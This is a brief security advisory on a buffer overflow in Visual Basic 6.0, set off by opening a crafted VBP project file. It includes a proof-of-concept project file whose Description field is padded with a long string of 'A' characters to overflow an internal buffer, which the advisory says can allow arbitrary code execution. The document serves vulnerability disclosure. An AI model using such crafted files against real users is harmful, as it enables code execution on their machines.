A vulnerability in Visual Basic 6.0 allows attackers that can trick a user into opening a VBP file (Visual Basic Project) to cause the program to overflow its internal Description field which in turn can be used to execute arbitrary code .
Credit:
The information has been provided by UmZ .
Proof of concept:
By providing the following VBP file to Visual Basic 6.0 an attacker can cause the program to overflow an internal buffer.
Type=Exe
Reference=*\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\..\..\..\WINDOWS\system32\stdole2.tlb#OLE Automation
Reference=*\G{420B2830-E718-11CF-893D-00A0C9054228}#1.0#0#..\..\..\..\WINDOWS\system32\scrrun.dll#Microsoft Scripting Runtime
Form=Form1.frm
Startup="Form1"
HelpFile=""
Command32=""
Name="Project1"
HelpContextID="0"
Description="AAAAAAAAA<multiple A>AAAAAAAAAAAAAAA"
CompatibleMode="0"
MajorVer=1
MinorVer=0
RevisionVer=0
AutoIncrementVer=0
ServerSupportFiles=0
VersionCompanyName=""
CompilationType=0
OptimizationType=0
FavorPentiumPro(tm)=0
CodeViewDebugInfo=0
NoAliasing=0
BoundsCheck=0
OverflowCheck=0
FlPointCheck=0
FDIVCheck=0
UnroundedFP=0
StartMode=0
Unattended=0
Retained=0
ThreadPerObject=0
MaxNumberOfThreads=1
[MS Transaction Server]
AutoRefresh=1
Please enable JavaScript to view the comments powered by Disqus.
blog comments powered by